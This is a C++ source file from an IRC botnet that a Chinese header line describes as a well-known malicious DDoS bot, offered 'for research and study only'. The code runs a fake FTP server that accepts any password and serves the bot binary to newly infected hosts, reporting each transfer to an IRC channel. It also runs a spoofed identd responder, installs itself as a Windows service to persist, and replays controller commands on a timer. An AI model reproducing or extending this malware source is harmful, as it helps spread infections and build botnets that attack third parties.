utility.cpp.svn-base

很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习

	while(m_sClientSocket->RecvLineIRC(szRecvBuf, sizeof(szRecvBuf))) {
		CString sRecvBuf(szRecvBuf);

		if(!sRecvBuf.Token(0, " ").Compare("USER")) {
			char *szPassword="331 Password required.\r\n";
			m_sClientSocket->Write(szPassword, strlen(szPassword));
		} else if(!sRecvBuf.Token(0, " ").Compare("PASS")) {
			char *szLoginOk="230 Login successful. Have fun.\r\n";
			m_sClientSocket->Write(szLoginOk, strlen(szLoginOk));
		} else if(!sRecvBuf.Token(0, " ").Compare("TYPE")) {
			char *szBinary="200 Type set to I.\r\n";
			m_sClientSocket->Write(szBinary, strlen(szBinary));
		} else if(!sRecvBuf.Token(0, " ").Compare("SYST")) {
			char *szSysT="215 UNIX Type: L8\r\n";
			m_sClientSocket->Write(szSysT, strlen(szSysT));
		} else if(!sRecvBuf.Token(0, " ").Compare("PASV")) {
			// Get local ip address
			sockaddr sa; socklen_t sas=sizeof(sa); memset(&sa, 0, sizeof(sa));
			m_sClientSocket->GetSockName(&sa, &sas);

			sPasvPort=brandom(10000, 60000);
			unsigned short sPasvPortHToNS=htons(sPasvPort);
			char *pPasvPort=(char*)&sPasvPortHToNS;

			if(!sPasvListenSocket.Bind(sPasvPort)) continue;

			char szReply[2048];
			sprintf(szReply, "227 Entering Passive Mode (%d,%d,%d,%d,%d,%d).\r\n",
				(unsigned char)sa.sa_data[2],	(unsigned char)sa.sa_data[3], \
				(unsigned char)sa.sa_data[4],	(unsigned char)sa.sa_data[5], \
				(unsigned char)pPasvPort[0],	(unsigned char)pPasvPort[1]		);

			m_sClientSocket->Write(szReply, strlen(szReply));

			if(!sPasvListenSocket.Accept(sSendSocket)) continue;

			bPasv=true; // TODO: make passive work
		} else if(!sRecvBuf.Token(0, " ").Compare("PORT")) {
			bPasv=false; CString sLine(szRecvBuf); CString sData(sLine.Token(1, " "));
			int iIp1=atoi(sData.Token(0, ",").CStr()), iIp2=atoi(sData.Token(1, ",").CStr());
			int iIp3=atoi(sData.Token(2, ",").CStr()), iIp4=atoi(sData.Token(3, ",").CStr());
			int iPort1=atoi(sData.Token(4, ",").CStr()), iPort2=atoi(sData.Token(5, ",").CStr());
			char szTemp[2]; szTemp[1]=iPort1; szTemp[0]=iPort2;
			unsigned short *sPort=(unsigned short*)szTemp; iPort=(unsigned int)*sPort;
			sprintf(szIp, "%d.%d.%d.%d", iIp1, iIp2, iIp3, iIp4);
			char *szPortOK="200 PORT command successful\r\n";
			m_sClientSocket->Write(szPortOK, strlen(szPortOK));
			if(!sSendSocket.Connect(szIp, iPort)) { m_sClientSocket->Disconnect(); continue; }
		} else if(!sRecvBuf.Token(0, " ").Compare("SIZE")) {
			fp=fopen(sOutFileName.CStr(), "rb"); if(!fp) continue;
			fseek(fp, 0, SEEK_END); long dafilesize=ftell(fp); fseek(fp, 0, SEEK_SET);
			fclose(fp);

			char szReply[2048]; sprintf(szReply, "213 %d\r\n", dafilesize);
			m_sClientSocket->Write(szReply, strlen(szReply));
		} else if(!sRecvBuf.Token(0, " ").Compare("RETR")) {
#ifdef DBGCONSOLE
			g_pMainCtrl->m_cConsDbg.Log(5, "CSendFileFTP(0x%8.8Xh): RETR.\n", this);
#endif // DBGCONSOLE
			char *szBinaryOpen="150 Opening BINARY mode data connection.\r\n";
			m_sClientSocket->Write(szBinaryOpen, strlen(szBinaryOpen));

			fp=fopen(sOutFileName.CStr(), "rb");
			if(fp) {
#ifdef DBGCONSOLE
				g_pMainCtrl->m_cConsDbg.Log(5, "CSendFileFTP(0x%8.8Xh): Sending file...\n", this);
#endif // DBGCONSOLE
				fseek(fp, 0, SEEK_END); long filesize=ftell(fp); fseek(fp, 0, SEEK_SET);

  				int written=0;
				while(!feof(fp)) {	
					written=0;
					int retval; memset(fileBuf, 0, sizeof(fileBuf));
					count=fread(fileBuf, sizeof(char), 2048, fp);
					if(ferror(fp)) break;
					while(written<count) {
						if(!sSendSocket.Write((char*)fileBuf, count, &retval))
							break;
						written+=retval;
					}
				}

				if(g_pMainCtrl->m_cBot.scaninfo_level.iValue>=1) {
					g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.scaninfo_chan.sValue.Str(),
						"CSendFileFTP(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
							(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
				}
#ifdef DBGCONSOLE
				g_pMainCtrl->m_cConsDbg.Log(5, "CSendFileFTP(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.\n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
						(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif // DBGCONSOLE
				fclose(fp); sSendSocket.Disconnect();
			} else {
#ifdef DBGCONSOLE
				g_pMainCtrl->m_cConsDbg.Log(5, "CSendFileFTP(0x%8.8Xh): Unable to open file \"%s\" for reading.\n", this, sOutFileName.CStr());
#endif // DBGCONSOLE
			}
			

			sPasvListenSocket.Disconnect();
			char *szComplete="226 Transfer complete.\r\n";
			m_sClientSocket->Write(szComplete, strlen(szComplete));
		} else if(!sRecvBuf.Token(0, " ").Compare("CWD")) {
			char *szCWD="250 CWD command successful.\r\n";
			m_sClientSocket->Write(szCWD, strlen(szCWD));
		} else {
			char *szGoodbye="221 Bye.\r\n";
			m_sClientSocket->Write(szGoodbye, strlen(szGoodbye));
		}
	}

	m_sClientSocket->Disconnect(); delete m_sClientSocket; return NULL; }

void CSendFileAccept(CSocket *sClientSocket) {
	CSendFile *pSendFile=new CSendFile;
	pSendFile->m_sClientSocket=sClientSocket;
	pSendFile->Start(true, false, false); }

void CSendFileFTPAccept(CSocket *sClientSocket) {
	CSendFileFTP *pSendFileFTP=new CSendFileFTP;
	pSendFileFTP->m_sClientSocket=sClientSocket;
	pSendFileFTP->Start(true, false, false); }

void *CIdentD::Run()
{	CSocket m_sListenSocket, sClientSocket; char ibuff[64];

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Binding IdentD to port 113.\n", this);
#endif

	if(!m_sListenSocket.Bind(113)) {
		g_pMainCtrl->m_bIdentD_Running = false;
		return NULL; }

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Listening on port 113.\n", this);
#endif

	g_pMainCtrl->m_bIdentD_Running=true;

	while(!g_pMainCtrl->m_cBot.m_bJoined && g_pMainCtrl->m_bRunning) {
		sockaddr_in cAddr; if(m_sListenSocket.Accept(sClientSocket, &cAddr)) {
#ifdef DBGCONSOLE
			g_pMainCtrl->m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Connection from %s accepted.\n", this, inet_ntoa(to_in_addr(cAddr.sin_addr.s_addr)));
#endif

			CString sIdentD; init_random();
			int nl=(rand()%3)+10; sIdentD.Assign("");
			for(int n=0;n<nl;n++)
			{	CString sTemp; sTemp.Assign(sIdentD);
			sIdentD.Format("%s%c", sTemp.CStr(), (rand()%26)+97); }
			
			sIdentD[10] = 0;

			memset(ibuff, 0, sizeof(ibuff));
			sprintf(ibuff, "%d, %d : USERID : UNIX : %s\r\n", rand()%6000+1, 113, sIdentD.CStr()); // build ident reply
			sClientSocket.Write((char*)ibuff, sizeof(ibuff)); // identd string

			sClientSocket.Disconnect(); }
		else
		{	Sleep(2000); return NULL; }

		m_sListenSocket.Disconnect();
		g_pMainCtrl->m_bIdentD_Running = false;
		break;
	}

	sClientSocket.Disconnect();

	return NULL;
}

#ifdef WIN32

VOID WINAPI ServiceStart(DWORD argc, LPTSTR *argv);
VOID WINAPI ServiceCtrlHandler(DWORD opcode);

SERVICE_STATUS			ServiceStatus;
SERVICE_STATUS_HANDLE	ServiceStatusHandle;

CService *g_cService;

void WINAPI ServiceCtrlHandler(DWORD Opcode) {
	switch(Opcode) {

	case SERVICE_CONTROL_INTERROGATE:
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(5, "ServiceCtrlHandler(utility.cpp): Got interrogate opcode.\n");
#endif
		break;
	default:
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(3, "ServiceCtrlHandler(utility.cpp): Unknown value %d\n", Opcode);
#endif
		break; }
	
#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "ServiceCtrlHandler(utility.cpp): Setting service to running...\n");
#endif
	ServiceStatus.dwCurrentState			= SERVICE_RUNNING;
	SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "ServiceCtrlHandler(utility.cpp): Finished handler.\n");
#endif
	return; }

/*
	This function starts the service
*/

HANDLE  hServerStopEvent = NULL;

void WINAPI ServiceStart(DWORD argc, LPTSTR *argv) {
	DWORD status; DWORD specificError;

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "ServiceStart(utility.cpp): Starting up service...\n");
#endif

	ServiceStatus.dwServiceType				=	SERVICE_WIN32_SHARE_PROCESS;
	ServiceStatus.dwCurrentState			=	SERVICE_START_PENDING;
	ServiceStatus.dwControlsAccepted		=	SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
	ServiceStatus.dwWin32ExitCode			=	0;
	ServiceStatus.dwServiceSpecificExitCode	=	0;
	ServiceStatus.dwCheckPoint				=	0;
	ServiceStatus.dwWaitHint				=	0;
	
#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "ServiceStart(utility.cpp): Registering service handler...\n");
#endif
	ServiceStatusHandle=RegisterServiceCtrlHandler(g_pMainCtrl->m_cBot.as_service_name.sValue.CStr(), ServiceCtrlHandler);
	
	if(ServiceStatusHandle==(SERVICE_STATUS_HANDLE)0) return;

	ServiceStatus.dwCurrentState			=	SERVICE_RUNNING;
	ServiceStatus.dwCheckPoint				=	0;
	ServiceStatus.dwWaitHint				=	0;
	HANDLE hEvents[2] = {NULL, NULL};

	hServerStopEvent = CreateEvent(
    NULL,    // no security attributes
	TRUE,    // manual reset event
	FALSE,   // not-signalled
	NULL);   // no name
	hEvents[0] = hServerStopEvent;

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "ServiceStart(utility.cpp): Setting service to running...\n");
#endif
	if(!SetServiceStatus(ServiceStatusHandle, &ServiceStatus)) return;

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "ServiceStart(utility.cpp): Finished Initialization.\n");
#endif
	return; }

CService::CService() { m_szType="CService"; }

void *CService::Run() {
	g_cService=this; char as_service_name[256];

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CService::CService(utility.cpp): Starting service...\n");
#endif

	strncpy(as_service_name, g_pMainCtrl->m_cBot.as_service_name.sValue.CStr(), sizeof(as_service_name));

	SERVICE_TABLE_ENTRY DispatchTable[]= {
		{	as_service_name,	ServiceStart	},
		{	NULL,				NULL			} };

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CService::CService(utility.cpp): Starting service control dispatcher...\n");
#endif

	if(!StartServiceCtrlDispatcher(DispatchTable)) {
#ifdef DBGCONSOLE
		DWORD dwError=GetLastError();
		switch(dwError) {
		case ERROR_FAILED_SERVICE_CONTROLLER_CONNECT:
			g_pMainCtrl->m_cConsDbg.Log(3, "CService::CService(utility.cpp): StartServiceCtrlDispatcher(): Failed to connect to service controller.\n");
			break;
		case ERROR_INVALID_DATA:
			g_pMainCtrl->m_cConsDbg.Log(3, "CService::CService(utility.cpp): StartServiceCtrlDispatcher(): Invalid data.\n");
			break;
		case ERROR_SERVICE_ALREADY_RUNNING:
			g_pMainCtrl->m_cConsDbg.Log(3, "CService::CService(utility.cpp): StartServiceCtrlDispatcher(): Service already running.\n");
			break;
		}
#endif
	}

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CService::CService(utility.cpp): Finished.\n");
#endif

	return NULL; }

#endif // WIN32

#ifdef _WIN32
void WINAPI ServiceStop()
{
	if ( hServerStopEvent )
	SetEvent(hServerStopEvent);
}
#endif // _WIN32

CCommandInterval::CCommandInterval() {
	m_szType="CCommandInterval";
	m_iInterval=60; // Default to 60 seconds interval
}

CCommandInterval::~CCommandInterval() {
}

void *CCommandInterval::Run() {
	while(g_pMainCtrl->m_bRunning) {
		CMessage mFakeMsg;

		mFakeMsg.bNotice=false; mFakeMsg.bSilent=true;
		mFakeMsg.sChatString=m_sCommand;
		mFakeMsg.sCmd.Assign(mFakeMsg.sChatString.Token(0, " ").Mid(1));
		mFakeMsg.sDest.Assign(g_pMainCtrl->m_cBot.si_mainchan.sValue);
		mFakeMsg.sHost.Assign("CommandInterval.Net");
		mFakeMsg.sIdentd.Assign("CommandInterval");
		mFakeMsg.sReplyTo.Assign(g_pMainCtrl->m_cBot.si_mainchan.sValue);
		mFakeMsg.sSrc.Assign("CommandInterval");